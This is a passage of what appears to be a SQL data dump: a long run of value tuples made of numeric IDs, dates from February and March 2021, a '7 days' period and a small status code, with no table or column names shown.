days',2),(40443,659,7441,8331,162,73,'2021-02-18','7 days',1),(40444,647,7441,8331,162,73,'2021-02-18','7 days',0),(40445,642,7441,8331,162,73,'2021-02-18','7 days',1),(40446,640,7441,8331,162,73,'2021-02-18','7 days',0),(40447,639,7441,8331,162,73,'2021-02-18','7 days',0),(40448,12274,7458,8717,1452,91,'2021-02-18','7 days',1),(40449,12273,7458,8717,1452,91,'2021-02-18','7 days',1),(40450,12264,7458,8717,1452,91,'2021-02-18','7 days',1),(40451,12263,7458,8717,1452,91,'2021-02-18','7 days',1),(40452,9154,7458,8717,1452,91,'2021-02-18','7 days',1),(40453,9135,7458,8717,1452,91,'2021-02-18','7 days',1),(40454,9134,7458,8717,1452,91,'2021-02-18','7 days',1),(40455,9133,7458,8717,1452,91,'2021-02-18','7 days',1),(40456,7287,7458,8717,1452,91,'2021-02-18','7 days',1),(40457,7286,7458,8717,1452,91,'2021-02-18','7 days',1),(40458,11520,7450,8709,194,45,'2021-02-18','7 days',1),(40459,11519,7450,8709,194,45,'2021-02-18','7 days',1),(40463,12979,7442,8331,162,73,'2021-02-18','7 days',0),(40464,11876,7442,8331,162,73,'2021-02-18','7 days',2),(40465,8781,7442,8331,162,73,'2021-02-18','7 days',0),(40466,672,7442,8331,162,73,'2021-02-18','7 days',0),(40467,661,7442,8331,162,73,'2021-02-18','7 days',0),(40580,16592,7428,8688,1456,667,'2021-02-19','7 days',0),(40581,16591,7428,8688,1456,667,'2021-02-19','7 days',0),(40582,16590,7428,8688,1456,667,'2021-02-19','7 days',0),(40583,16589,7428,8688,1456,667,'2021-02-19','7 days',0),(40584,16588,7428,8688,1456,667,'2021-02-19','7 days',0),(40585,16587,7428,8688,1456,667,'2021-02-19','7 days',0),(40586,16586,7428,8688,1456,667,'2021-02-19','7 days',0),(40587,16585,7428,8688,1456,667,'2021-02-19','7 days',0),(40588,16584,7428,8688,1456,667,'2021-02-19','7 days',0),(40589,16583,7428,8688,1456,667,'2021-02-19','7 days',2),(40590,16553,7101,8370,1456,667,'2021-02-19','7 days',0),(40591,16552,7101,8370,1456,667,'2021-02-19','7 days',0),(40592,16551,7101,8370,1456,667,'2021-02-19','7 days',0),(40593,16550,7101,8370,1456,667,'2021-02-19','7 days',0),(40594,16549,7101,8370,1456,667,'2021-02-19','7 days',2),(40595,16548,7101,8370,1456,667,'2021-02-19','7 days',0),(40596,16547,7101,8370,1456,667,'2021-02-19','7 days',0),(40597,16546,7101,8370,1456,667,'2021-02-19','7 days',0),(40598,16545,7101,8370,1456,667,'2021-02-19','7 days',0),(40599,16544,7101,8370,1456,667,'2021-02-19','7 days',0),(40600,16543,7101,8370,1456,667,'2021-02-19','7 days',0),(40601,16542,7101,8370,1456,667,'2021-02-19','7 days',0),(40602,13913,7493,498,194,45,'2021-02-19','7 days',0),(40603,11689,7493,498,194,45,'2021-02-19','7 days',1),(40604,15568,7490,8745,1393,86,'2021-02-19','7 days',1),(40605,15345,7490,8745,1393,86,'2021-02-19','7 days',0),(40606,15344,7490,8745,1393,86,'2021-02-19','7 days',2),(40607,15343,7490,8745,1393,86,'2021-02-19','7 days',0),(40608,15342,7490,8745,1393,86,'2021-02-19','7 days',0),(40609,15341,7490,8745,1393,86,'2021-02-19','7 days',0),(40610,15340,7490,8745,1393,86,'2021-02-19','7 days',1),(40611,15629,7477,8738,1439,86,'2021-02-19','7 days',0),(40612,15628,7477,8738,1439,86,'2021-02-19','7 days',0),(40613,15627,7477,8738,1439,86,'2021-02-19','7 days',1),(40614,15372,7477,8738,1439,86,'2021-02-19','7 days',2),(40615,15359,7477,8738,1439,86,'2021-02-19','7 days',0),(40616,15358,7477,8738,1439,86,'2021-02-19','7 days',0),(40628,16670,7445,8705,194,45,'2021-02-19','7 days',0),(40629,16669,7445,8705,194,45,'2021-02-19','7 days',0),(40630,16668,7445,8705,194,45,'2021-02-19','7 days',0),(40684,16675,7490,8745,1393,86,'2021-02-20','7 days',0),(40685,16674,7490,8745,1393,86,'2021-02-20','7 days',0),(40686,16673,7490,8745,1393,86,'2021-02-20','7 days',2),(40687,16672,7490,8745,1393,86,'2021-02-20','7 days',0),(40688,15360,7477,8738,1439,86,'2021-02-20','7 days',1),(40689,15353,7477,8738,1439,86,'2021-02-20','7 days',2),(40690,15352,7477,8738,1439,86,'2021-02-20','7 days',0),(40691,15351,7477,8738,1439,86,'2021-02-20','7 days',0),(40692,15350,7477,8738,1439,86,'2021-02-20','7 days',0),(40693,13007,7477,8738,1439,86,'2021-02-20','7 days',0),(40694,13006,7477,8738,1439,86,'2021-02-20','7 days',2),(40695,12788,7477,8738,1439,86,'2021-02-20','7 days',2),(40696,12787,7477,8738,1439,86,'2021-02-20','7 days',0),(40697,12786,7477,8738,1439,86,'2021-02-20','7 days',0),(40698,12359,7477,8738,1439,86,'2021-02-20','7 days',0),(40699,12297,7477,8738,1439,86,'2021-02-20','7 days',0),(40700,12296,7477,8738,1439,86,'2021-02-20','7 days',0),(40729,16582,7428,8688,1456,667,'2021-02-22','7 days',1),(40730,16581,7428,8688,1456,667,'2021-02-22','7 days',1),(40731,16580,7428,8688,1456,667,'2021-02-22','7 days',2),(40732,16579,7428,8688,1456,667,'2021-02-22','7 days',0),(40733,16578,7428,8688,1456,667,'2021-02-22','7 days',0),(40734,16577,7428,8688,1456,667,'2021-02-22','7 days',0),(40735,16576,7428,8688,1456,667,'2021-02-22','7 days',0),(40736,16575,7428,8688,1456,667,'2021-02-22','7 days',0),(40737,16574,7428,8688,1456,667,'2021-02-22','7 days',2),(40738,16573,7428,8688,1456,667,'2021-02-22','7 days',0),(40739,16572,7428,8688,1456,667,'2021-02-22','7 days',0),(40740,16571,7428,8688,1456,667,'2021-02-22','7 days',1),(40741,16570,7428,8688,1456,667,'2021-02-22','7 days',0),(40742,16569,7428,8688,1456,667,'2021-02-22','7 days',0),(40743,16568,7428,8688,1456,667,'2021-02-22','7 days',0),(40766,16277,7497,8490,1342,971,'2021-02-22','7 days',0),(40767,16276,7497,8490,1342,971,'2021-02-22','7 days',0),(40768,16139,7497,8490,1342,971,'2021-02-22','7 days',1),(40769,12739,7497,8490,1342,971,'2021-02-22','7 days',2),(40770,11698,7497,8490,1342,971,'2021-02-22','7 days',0),(40771,11456,7497,8490,1342,971,'2021-02-22','7 days',1),(40772,11126,7497,8490,1342,971,'2021-02-22','7 days',1),(40773,10978,7497,8490,1342,971,'2021-02-22','7 days',1),(40774,10966,7497,8490,1342,971,'2021-02-22','7 days',1),(40775,10965,7497,8490,1342,971,'2021-02-22','7 days',1),(40776,10964,7497,8490,1342,971,'2021-02-22','7 days',0),(40777,10963,7497,8490,1342,971,'2021-02-22','7 days',1),(40803,16701,7494,8748,359,251,'2021-02-22','7 days',1),(40804,16700,7494,8748,359,251,'2021-02-22','7 days',0),(40805,16699,7494,8748,359,251,'2021-02-22','7 days',0),(40806,16698,7494,8748,359,251,'2021-02-22','7 days',0),(40807,16697,7494,8748,359,251,'2021-02-22','7 days',0),(40808,16696,7494,8748,359,251,'2021-02-22','7 days',0),(40809,16695,7494,8748,359,251,'2021-02-22','7 days',1),(40810,9117,7487,8742,359,251,'2021-02-22','7 days',0),(40811,9116,7487,8742,359,251,'2021-02-22','7 days',0),(40812,9115,7487,8742,359,251,'2021-02-22','7 days',0),(40813,9114,7487,8742,359,251,'2021-02-22','7 days',0),(40814,9113,7487,8742,359,251,'2021-02-22','7 days',0),(40815,9112,7487,8742,359,251,'2021-02-22','7 days',0),(40816,9054,7487,8742,359,251,'2021-02-22','7 days',0),(40817,9053,7487,8742,359,251,'2021-02-22','7 days',2),(40818,9052,7487,8742,359,251,'2021-02-22','7 days',2),(40819,9051,7487,8742,359,251,'2021-02-22','7 days',2),(40820,9050,7487,8742,359,251,'2021-02-22','7 days',0),(40833,11446,7462,8723,222,85,'2021-02-22','7 days',1),(40834,11445,7462,8723,222,85,'2021-02-22','7 days',1),(40835,11444,7462,8723,222,85,'2021-02-22','7 days',1),(40836,11443,7462,8723,222,85,'2021-02-22','7 days',2),(40837,11442,7462,8723,222,85,'2021-02-22','7 days',0),(40838,11441,7462,8723,222,85,'2021-02-22','7 days',0),(40839,11440,7462,8723,222,85,'2021-02-22','7 days',0),(40840,11438,7462,8723,222,85,'2021-02-22','7 days',2),(40841,11437,7462,8723,222,85,'2021-02-22','7 days',0),(40842,11436,7462,8723,222,85,'2021-02-22','7 days',0),(40843,11435,7462,8723,222,85,'2021-02-22','7 days',2),(40844,11434,7462,8723,222,85,'2021-02-22','7 days',2),(40845,11433,7462,8723,222,85,'2021-02-22','7 days',0),(40846,11432,7462,8723,222,85,'2021-02-22','7 days',0),(40847,11431,7462,8723,222,85,'2021-02-22','7 days',0),(40848,11269,7462,8723,222,85,'2021-02-22','7 days',0),(40849,11268,7462,8723,222,85,'2021-02-22','7 days',0),(40850,11267,7462,8723,222,85,'2021-02-22','7 days',0),(40851,11266,7462,8723,222,85,'2021-02-22','7 days',0),(40852,11265,7462,8723,222,85,'2021-02-22','7 days',0),(40853,11264,7462,8723,222,85,'2021-02-22','7 days',0),(40854,11263,7462,8723,222,85,'2021-02-22','7 days',2),(40855,11262,7462,8723,222,85,'2021-02-22','7 days',0),(40856,11261,7462,8723,222,85,'2021-02-22','7 days',0),(40857,11260,7462,8723,222,85,'2021-02-22','7 days',0),(40860,16059,7511,8765,194,45,'2021-02-22','7 days',0),(40861,16058,7511,8765,194,45,'2021-02-22','7 days',2),(40862,16059,7504,8758,194,45,'2021-02-22','7 days',0),(40863,16058,7504,8758,194,45,'2021-02-22','7 days',2),(40864,1359,7504,8758,194,45,'2021-02-22','7 days',0),(40893,16716,7494,8748,359,251,'2021-02-22','7 days',0),(40894,16715,7494,8748,359,251,'2021-02-22','7 days',0),(40895,16714,7494,8748,359,251,'2021-02-22','7 days',0),(40968,16059,7519,7214,194,45,'2021-02-23','7 days',0),(40969,16058,7519,7214,194,45,'2021-02-23','7 days',2),(40970,1359,7519,7214,194,45,'2021-02-23','7 days',1),(40971,13913,7519,7214,194,45,'2021-02-23','7 days',0),(40972,11689,7519,7214,194,45,'2021-02-23','7 days',1),(41007,16745,6964,8235,1251,86,'2021-02-23','7 days',0),(41008,16744,6964,8235,1251,86,'2021-02-23','7 days',2),(41009,16743,6964,8235,1251,86,'2021-02-23','7 days',0),(41010,16742,6964,8235,1251,86,'2021-02-23','7 days',0),(41011,16741,6964,8235,1251,86,'2021-02-23','7 days',2),(41012,16740,6964,8235,1251,86,'2021-02-23','7 days',0),(41014,10685,7518,8773,1291,86,'2021-02-23','7 days',1),(41015,10684,7518,8773,1291,86,'2021-02-23','7 days',1),(41016,15826,7518,8773,1291,86,'2021-02-23','7 days',1),(41028,16766,7101,8370,1456,667,'2021-02-24','7 days',0),(41029,16762,7101,8370,1456,667,'2021-02-24','7 days',0),(41030,16759,7101,8370,1456,667,'2021-02-24','7 days',0),(41031,16756,7101,8370,1456,667,'2021-02-24','7 days',0),(41032,16755,7101,8370,1456,667,'2021-02-24','7 days',0),(41033,16750,7101,8370,1456,667,'2021-02-24','7 days',0),(41052,16767,7101,8370,1456,667,'2021-02-24','7 days',0),(41053,16765,7101,8370,1456,667,'2021-02-24','7 days',0),(41054,16764,7101,8370,1456,667,'2021-02-24','7 days',0),(41055,16763,7101,8370,1456,667,'2021-02-24','7 days',0),(41056,16761,7101,8370,1456,667,'2021-02-24','7 days',0),(41057,16760,7101,8370,1456,667,'2021-02-24','7 days',0),(41058,16758,7101,8370,1456,667,'2021-02-24','7 days',2),(41059,16757,7101,8370,1456,667,'2021-02-24','7 days',0),(41060,16754,7101,8370,1456,667,'2021-02-24','7 days',0),(41061,16753,7101,8370,1456,667,'2021-02-24','7 days',0),(41062,16752,7101,8370,1456,667,'2021-02-24','7 days',2),(41063,16751,7101,8370,1456,667,'2021-02-24','7 days',2),(41074,16777,7494,8748,359,251,'2021-02-24','7 days',0),(41075,16776,7494,8748,359,251,'2021-02-24','7 days',0),(41076,16775,7494,8748,359,251,'2021-02-24','7 days',0),(41077,16774,7494,8748,359,251,'2021-02-24','7 days',0),(41078,16773,7494,8748,359,251,'2021-02-24','7 days',0),(41079,16772,7494,8748,359,251,'2021-02-24','7 days',0),(41080,16771,7494,8748,359,251,'2021-02-24','7 days',0),(41081,16770,7494,8748,359,251,'2021-02-24','7 days',0),(41082,16769,7494,8748,359,251,'2021-02-24','7 days',2),(41083,16768,7494,8748,359,251,'2021-02-24','7 days',0),(41084,12296,7517,8772,1393,86,'2021-02-24','7 days',0),(41085,11970,7517,8772,1393,86,'2021-02-24','7 days',2),(41086,11969,7517,8772,1393,86,'2021-02-24','7 days',0),(41087,11967,7517,8772,1393,86,'2021-02-24','7 days',0),(41088,11965,7517,8772,1393,86,'2021-02-24','7 days',1),(41089,11964,7517,8772,1393,86,'2021-02-24','7 days',0),(41090,11962,7517,8772,1393,86,'2021-02-24','7 days',0),(41091,11961,7517,8772,1393,86,'2021-02-24','7 days',0),(41092,11959,7517,8772,1393,86,'2021-02-24','7 days',0),(41093,11957,7517,8772,1393,86,'2021-02-24','7 days',0),(41094,11954,7517,8772,1393,86,'2021-02-24','7 days',1),(41095,11951,7517,8772,1393,86,'2021-02-24','7 days',0),(41096,11949,7517,8772,1393,86,'2021-02-24','7 days',0),(41100,11689,7305,8580,194,45,'2021-02-24','7 days',1),(41106,16780,7494,8748,359,251,'2021-02-25','7 days',0),(41107,16779,7494,8748,359,251,'2021-02-25','7 days',1),(41108,16781,6800,8061,1393,86,'2021-02-25','7 days',1),(41111,15663,7186,8454,1410,975,'2021-02-25','7 days',1),(41112,13180,7186,8454,1410,975,'2021-02-25','7 days',1),(41113,12972,7186,8454,1410,975,'2021-02-25','7 days',1),(41114,16784,6800,8061,1393,86,'2021-02-25','7 days',0),(41115,13013,6800,8061,1393,86,'2021-02-25','7 days',0),(41116,13012,6800,8061,1393,86,'2021-02-25','7 days',0),(41117,13011,6800,8061,1393,86,'2021-02-25','7 days',2),(41118,13010,6800,8061,1393,86,'2021-02-25','7 days',0),(41119,12780,6800,8061,1393,86,'2021-02-25','7 days',0),(41120,12779,6800,8061,1393,86,'2021-02-25','7 days',0),(41121,12519,6800,8061,1393,86,'2021-02-25','7 days',1),(41122,16783,7279,8549,1393,86,'2021-02-25','7 days',0),(41123,16782,7279,8549,1393,86,'2021-02-25','7 days',0),(41127,16788,6964,8235,1251,86,'2021-02-25','7 days',2),(41128,16787,6964,8235,1251,86,'2021-02-25','7 days',1),(41129,16786,6964,8235,1251,86,'2021-02-25','7 days',1),(41130,16785,6964,8235,1251,86,'2021-02-25','7 days',1),(41162,16844,7101,8370,1456,667,'2021-02-25','7 days',2),(41163,16843,7101,8370,1456,667,'2021-02-25','7 days',0),(41164,16842,7101,8370,1456,667,'2021-02-25','7 days',0),(41165,16841,7101,8370,1456,667,'2021-02-25','7 days',0),(41166,16840,7101,8370,1456,667,'2021-02-25','7 days',0),(41167,16839,7101,8370,1456,667,'2021-02-25','7 days',0),(41168,16838,7101,8370,1456,667,'2021-02-25','7 days',1),(41169,16837,7101,8370,1456,667,'2021-02-25','7 days',1),(41170,16836,7101,8370,1456,667,'2021-02-25','7 days',0),(41171,16835,7101,8370,1456,667,'2021-02-25','7 days',0),(41172,16834,7101,8370,1456,667,'2021-02-25','7 days',0),(41173,16833,7101,8370,1456,667,'2021-02-25','7 days',0),(41174,16832,7101,8370,1456,667,'2021-02-25','7 days',2),(41175,16831,7101,8370,1456,667,'2021-02-25','7 days',2),(41176,16830,7101,8370,1456,667,'2021-02-25','7 days',0),(41177,16829,7101,8370,1456,667,'2021-02-25','7 days',0),(41178,16828,7101,8370,1456,667,'2021-02-25','7 days',0),(41179,16827,7101,8370,1456,667,'2021-02-25','7 days',0),(41180,16826,7101,8370,1456,667,'2021-02-25','7 days',0),(41181,16825,7101,8370,1456,667,'2021-02-25','7 days',0),(41182,16824,7101,8370,1456,667,'2021-02-25','7 days',0),(41201,16209,7517,8772,1393,86,'2021-02-25','7 days',0),(41202,15976,7517,8772,1393,86,'2021-02-25','7 days',0),(41203,14782,7517,8772,1393,86,'2021-02-25','7 days',0),(41204,14781,7517,8772,1393,86,'2021-02-25','7 days',0),(41205,14780,7517,8772,1393,86,'2021-02-25','7 days',0),(41206,14779,7517,8772,1393,86,'2021-02-25','7 days',0),(41207,13086,7517,8772,1393,86,'2021-02-25','7 days',0),(41208,12354,7517,8772,1393,86,'2021-02-25','7 days',2),(41209,9533,7517,8772,1393,86,'2021-02-25','7 days',2),(41210,9532,7517,8772,1393,86,'2021-02-25','7 days',0),(41211,9531,7517,8772,1393,86,'2021-02-25','7 days',1),(41226,16861,7494,8748,359,251,'2021-02-26','7 days',1),(41227,16823,7101,8370,1456,667,'2021-02-26','7 days',2),(41228,16822,7101,8370,1456,667,'2021-02-26','7 days',1),(41229,16821,7101,8370,1456,667,'2021-02-26','7 days',1),(41230,16820,7101,8370,1456,667,'2021-02-26','7 days',0),(41231,16819,7101,8370,1456,667,'2021-02-26','7 days',0),(41232,16818,7101,8370,1456,667,'2021-02-26','7 days',0),(41233,16817,7101,8370,1456,667,'2021-02-26','7 days',0),(41234,16816,7101,8370,1456,667,'2021-02-26','7 days',0),(41235,16815,7101,8370,1456,667,'2021-02-26','7 days',2),(41236,16814,7101,8370,1456,667,'2021-02-26','7 days',0),(41237,16813,7101,8370,1456,667,'2021-02-26','7 days',0),(41238,16812,7101,8370,1456,667,'2021-02-26','7 days',0),(41239,16811,7101,8370,1456,667,'2021-02-26','7 days',0),(41240,16810,7101,8370,1456,667,'2021-02-26','7 days',0),(41241,16809,7101,8370,1456,667,'2021-02-26','7 days',0),(41242,16808,7101,8370,1456,667,'2021-02-26','7 days',0),(41366,16880,7518,8773,1291,86,'2021-03-01','7 days',0),(41367,16880,7517,8772,1393,86,'2021-03-01','7 days',0),(41368,16880,7477,8738,1439,86,'2021-03-01','7 days',0),(41369,12274,7257,8527,1452,91,'2021-03-01','7 days',1),(41370,12273,7257,8527,1452,91,'2021-03-01','7 days',1),(41371,12264,7257,8527,1452,91,'2021-03-01','7 days',1),(41372,12263,7257,8527,1452,91,'2021-03-01','7 days',1),(41374,12022,7472,8733,1594,277,'2021-03-01','7 days',1),(41402,9111,7494,8748,359,251,'2021-03-02','7 days',1),(41403,9110,7494,8748,359,251,'2021-03-02','7 days',0),(41404,9109,7494,8748,359,251,'2021-03-02','7 days',0),(41405,9108,7494,8748,359,251,'2021-03-02','7 days',0),(41406,9107,7494,8748,359,251,'2021-03-02','7 days',0),(41508,9011,7557,8813,160,73,'2021-03-02','7 days',2),(41509,648,7557,8813,160,73,'2021-03-02','7 days',1),(41510,9014,7557,8813,160,73,'2021-03-02','7 days',1),(41511,9013,7557,8813,160,73,'2021-03-02','7 days',2),(41512,8786,7557,8813,160,73,'2021-03-02','7 days',0),(41514,11689,7311,8586,194,45,'2021-03-02','7 days',1),(41760,16059,7663,8889,194,45,'2021-03-04','7 days',0),(41761,1359,7663,8889,194,45,'2021-03-04','7 days',2),(41762,11689,7663,8889,194,45,'2021-03-04','7 days',1),(41763,11689,7662,8888,194,45,'2021-03-04','7 days',1),(41764,15739,7662,8888,194,45,'2021-03-04','7 days',0),(41765,15736,7662,8888,194,45,'2021-03-04','7 days',0),(41766,15734,7662,8888,194,45,'2021-03-04','7 days',0),(41767,15730,7662,8888,194,45,'2021-03-04','7 days',0),(41768,11689,7649,7130,194,45,'2021-03-04','7 days',1),(41769,11689,7627,8869,194,45,'2021-03-04','7 days',1),(41770,11689,7594,3375,194,45,'2021-03-04','7 days',1),(41771,11162,7594,3375,194,45,'2021-03-04','7 days',1),(41772,9206,7594,3375,194,45,'2021-03-04','7 days',1),(41773,11687,7594,3375,194,45,'2021-03-04','7 days',1),(41845,9009,7559,8815,162,73,'2021-03-04','7 days',0),(41846,9008,7559,8815,162,73,'2021-03-04','7 days',0),(41847,665,7559,8815,162,73,'2021-03-04','7 days',1),(41848,662,7559,8815,162,73,'2021-03-04','7 days',0),(41849,633,7559,8815,162,73,'2021-03-04','7 days',2),(41851,4516,7150,8423,633,639,'2021-03-04','7 days',1),(41852,4514,7150,8423,633,639,'2021-03-04','7 days',0),(41855,11589,7163,8434,162,73,'2021-03-04','7 days',1),(41866,10393,7422,8681,1367,959,'2021-03-04','7 days',1),(41923,16880,7669,8895,1251,86,'2021-03-04','7 days',0),(41924,16788,7669,8895,1251,86,'2021-03-04','7 days',2),(41925,16787,7669,8895,1251,86,'2021-03-04','7 days',0),(41926,16786,7669,8895,1251,86,'2021-03-04','7 days',1),(41927,16785,7669,8895,1251,86,'2021-03-04','7 days',1),(41928,16749,7669,8895,1251,86,'2021-03-04','7 days',0),(41929,16748,7669,8895,1251,86,'2021-03-04','7 days',0),(41930,15354,7669,8895,1251,86,'2021-03-04','7 days',0),(41931,15353,7669,8895,1251,86,'2021-03-04','7 days',2),(42141,16880,6964,8235,1251,86,'2021-03-05','7 days',0),(42142,16749,6964,8235,1251,86,'2021-03-05','7 days',0),(42143,16747,6964,8235,1251,86,'2021-03-05','7 days',0),(42144,15358,6964,8235,1251,86,'2021-03-05','7 days',0),(42145,15356,6964,8235,1251,86,'2021-03-05','7 days',0),(42146,15355,6964,8235,1251,86,'2021-03-05','7 days',2),(42226,16788,7477,8738,1439,86,'2021-03-06','7 days',2),(42227,16787,7477,8738,1439,86,'2021-03-06','7 days',2),(42228,16786,7477,8738,1439,86,'2021-03-06','7 days',1),(42229,16749,7477,8738,1439,86,'2021-03-06','7 days',1),(42230,16744,7477,8738,1439,86,'2021-03-06','7 days',2),(42231,16743,7477,8738,1439,86,'2021-03-06','7 days',0),(42232,16742,7477,8738,1439,86,'2021-03-06','7 days',0),(42233,16741,7477,8738,1439,86,'2021-03-06','7 days',2),(42234,16740,7477,8738,1439,86,'2021-03-06','7 days',0),(42235,16059,7693,8917,194,45,'2021-03-07','7 days',0),(42236,11689,7693,8917,194,45,'2021-03-07','7 days',1),(42237,11520,7693,8917,194,45,'2021-03-07','7 days',1),(42238,11519,7693,8917,194,45,'2021-03-07','7 days',1),(42293,16861,7421,8680,359,251,'2021-03-08','7 days',1),(42294,16780,7421,8680,359,251,'2021-03-08','7 days',0),(42295,16779,7421,8680,359,251,'2021-03-08','7 days',1),(42296,16777,7421,8680,359,251,'2021-03-08','7 days',0),(42297,16776,7421,8680,359,251,'2021-03-08','7 days',0),(42298,16775,7421,8680,359,251,'2021-03-08','7 days',0),(42299,16774,7421,8680,359,251,'2021-03-08','7 days',0),(42300,16773,7421,8680,359,251,'2021-03-08','7 days',0),(42301,16772,7421,8680,359,251,'2021-03-08','7 days',0),(42302,16771,7421,8680,359,251,'2021-03-08','7 days',0),(42303,16770,7421,8680,359,251,'2021-03-08','7 days',0),(42304,16769,7421,8680,359,251,'2021-03-08','7 days',1),(42305,16768,7421,8680,359,251,'2021-03-08','7 days',0),(42306,5409,7680,8903,359,251,'2021-03-08','7 days',0),(42307,5408,7680,8903,359,251,'2021-03-08','7 days',0),(42308,5407,7680,8903,359,251,'2021-03-08','7 days',0),(42309,5406,7680,8903,359,251,'2021-03-08','7 days',0),(42310,5405,7680,8903,359,251,'2021-03-08','7 days',0),(42311,5404,7680,8903,359,251,'2021-03-08','7 days',0),(42312,4275,7680,8903,359,251,'2021-03-08','7 days',0),(42313,4274,7680,8903,359,251,'2021-03-08','7 days',0),(42314,4273,7680,8903,359,251,'2021-03-08','7 days',0),(42315,4272,7680,8903,359,251,'2021-03-08','7 days',0),(42316,4271,7680,8903,359,251,'2021-03-08','7 days',0),(42317,4270,7680,8903,359,251,'2021-03-08','7 days',0),(42318,16861,7590,8835,359,251,'2021-03-08','7 days',1),(42319,16780,7590,8835,359,251,'2021-03-08','7 days',0),(42320,16779,7590,8835,359,251,'2021-03-08','7 days',1),(42321,16777,7590,8835,359,251,'2021-03-08','7 days',0),(42322,16776,7590,8835,359,251,'2021-03-08','7 days',0),(42323,16775,7590,8835,359,251,'2021-03-08','7 days',0),(42324,16774,7590,8835,359,251,'2021-03-08','7 days',0),(42325,16773,7590,8835,359,251,'2021-03-08','7 days',0),(42326,16772,7590,8835,359,251,'2021-03-08','7 days',0),(42327,16771,7590,8835,359,251,'2021-03-08','7 days',0),(42328,16770,7590,8835,359,251,'2021-03-08','7 days',0),(42332,9117,7459,8718,359,251,'2021-03-08','7 days',0),(42333,9116,7459,8718,359,251,'2021-03-08','7 days',0),(42334,9115,7459,8718,359,251,'2021-03-08','7 days',0),(42335,9114,7459,8718,359,251,'2021-03-08','7 days',0),(42336,9113,7459,8718,359,251,'2021-03-08','7 days',0),(42364,17074,7101,8370,1456,667,'2021-03-09','7 days',1),(42426,650,7617,8860,162,73,'2021-03-09','7 days',2),(42427,649,7617,8860,162,73,'2021-03-09','7 days',0),(42428,646,7617,8860,162,73,'2021-03-09','7 days',0),(42429,645,7617,8860,162,73,'2021-03-09','7 days',1),(42430,673,7635,8875,161,73,'2021-03-09','7 days',0),(42431,667,7635,8875,161,73,'2021-03-09','7 days',0),(42432,666,7635,8875,161,73,'2021-03-09','7 days',0),(42433,9014,7677,8899,161,73,'2021-03-09','7 days',1),(42434,9013,7677,8899,161,73,'2021-03-09','7 days',1),(42435,8786,7677,8899,161,73,'2021-03-09','7 days',0),(42436,668,7677,8899,161,73,'2021-03-09','7 days',2),(42437,655,7677,8899,161,73,'2021-03-09','7 days',0),(42438,632,7677,8899,161,73,'2021-03-09','7 days',0),(42439,8784,7678,8900,162,73,'2021-03-09','7 days',1),(42440,8783,7678,8900,162,73,'2021-03-09','7 days',0),(42441,656,7678,8900,162,73,'2021-03-09','7 days',0),(42442,653,7678,8900,162,73,'2021-03-09','7 days',0),(42443,640,7696,8922,161,73,'2021-03-09','7 days',0),(42444,639,7696,8922,161,73,'2021-03-09','7 days',0),(42445,637,7696,8922,161,73,'2021-03-09','7 days',0),(42446,636,7696,8922,161,73,'2021-03-09','7 days',0),(42447,629,7696,8922,161,73,'2021-03-09','7 days',0),(42448,11589,7275,8545,161,73,'2021-03-09','7 days',1),(42466,15663,7520,8774,1410,975,'2021-03-09','7 days',1),(42467,13180,7520,8774,1410,975,'2021-03-09','7 days',1),(42468,12972,7520,8774,1410,975,'2021-03-09','7 days',1),(42476,13915,7700,8926,1324,959,'2021-03-09','7 days',0),(42487,17074,7428,8688,1456,667,'2021-03-09','7 days',1),(42491,12022,7592,8837,1594,277,'2021-03-10','7 days',1),(42498,17075,7029,8305,203,86,'2021-03-10','7 days',0),(42499,15972,7029,8305,203,86,'2021-03-10','7 days',0),(42500,17078,7029,8305,203,86,'2021-03-10','7 days',0),(42501,17077,7029,8305,203,86,'2021-03-10','7 days',0),(42502,17076,7029,8305,203,86,'2021-03-10','7 days',0),(42503,12360,7669,8895,1251,86,'2021-03-10','7 days',0),(42504,12303,7669,8895,1251,86,'2021-03-10','7 days',0),(42505,12301,7669,8895,1251,86,'2021-03-10','7 days',0),(42506,12300,7669,8895,1251,86,'2021-03-10','7 days',0),(42507,12299,7669,8895,1251,86,'2021-03-10','7 days',2),(42508,12298,7669,8895,1251,86,'2021-03-10','7 days',0),(42509,12297,7669,8895,1251,86,'2021-03-10','7 days',0),(42510,11965,7669,8895,1251,86,'2021-03-10','7 days',1),(42511,11964,7669,8895,1251,86,'2021-03-10','7 days',0),(42512,11962,7669,8895,1251,86,'2021-03-10','7 days',0),(42513,11961,7669,8895,1251,86,'2021-03-10','7 days',0),(42514,13913,7728,8950,194,45,'2021-03-10','7 days',0),(42515,11689,7728,8950,194,45,'2021-03-10','7 days',1),(42516,9206,7728,8950,194,45,'2021-03-10','7 days',1),(42517,17081,7279,8549,1393,86,'2021-03-10','7 days',0),(42518,17080,7279,8549,1393,86,'2021-03-10','7 days',2),(42519,17079,7279,8549,1393,86,'2021-03-10','7 days',0),(42520,12379,7279,8549,1393,86,'2021-03-10','7 days',0),(42576,14071,7729,8951,1310,959,'2021-03-10','7 days',1),(42587,8784,7702,8936,162,73,'2021-03-11','7 days',1),(42588,8783,7702,8936,162,73,'2021-03-11','7 days',0),(42589,656,7702,8936,162,73,'2021-03-11','7 days',0),(42590,653,7702,8936,162,73,'2021-03-11','7 days',1),(42592,7308,7574,8824,1452,91,'2021-03-11','7 days',2),(42593,7307,7574,8824,1452,91,'2021-03-11','7 days',2),(42594,7306,7574,8824,1452,91,'2021-03-11','7 days',0),(42595,7305,7574,8824,1452,91,'2021-03-11','7 days',0),(42596,7304,7574,8824,1452,91,'2021-03-11','7 days',0),(42597,7303,7574,8824,1452,91,'2021-03-11','7 days',0),(42598,7147,7574,8824,1452,91,'2021-03-11','7 days',0),(42599,7146,7574,8824,1452,91,'2021-03-11','7 days',0),(42600,7145,7574,8824,1452,91,'2021-03-11','7 days',0),(42601,7143,7574,8824,1452,91,'2021-03-11','7 days',0),(42602,7142,7574,8824,1452,91,'2021-03-11','7 days',0),(42603,7140,7574,8824,1452,91,'2021-03-11','7 days',2),(42604,7138,7574,8824,1452,91,'2021-03-11','7 days',0),(42605,7137,7574,8824,1452,91,'2021-03-11','7 days',0),(42606,7020,7568,8820,1452,91,'2021-03-11','7 days',0),(42607,9537,7568,8820,1452,91,'2021-03-11','7 days',0),(42608,7211,7568,8820,1452,91,'2021-03-11','7 days',0),(42609,7210,7568,8820,1452,91,'2021-03-11','7 days',0),(42610,7209,7568,8820,1452,91,'2021-03-11','7 days',2),(42611,7208,7568,8820,1452,91,'2021-03-11','7 days',2),(42819,15676,7735,8948,194,45,'2021-03-12','7 days',1),(42820,15675,7735,8948,194,45,'2021-03-12','7 days',1),(42974,16781,7029,8305,203,86,'2021-03-12','7 days',2),(42975,10678,7029,8305,203,86,'2021-03-12','7 days',0),(42976,10677,7029,8305,203,86,'2021-03-12','7 